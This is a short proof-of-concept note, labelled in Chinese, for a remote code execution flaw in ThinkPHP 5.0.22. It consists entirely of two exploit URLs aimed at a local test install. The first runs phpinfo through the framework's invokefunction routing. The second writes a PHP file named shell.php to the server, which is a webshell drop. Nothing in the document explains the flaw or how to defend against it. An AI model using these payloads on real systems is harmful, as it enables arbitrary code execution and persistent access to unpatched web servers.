poc:

命令执行：

http://localhost/thinkphp5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写入文件：

http://127.0.0.1/thinkphp5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php%20phpinfo();?>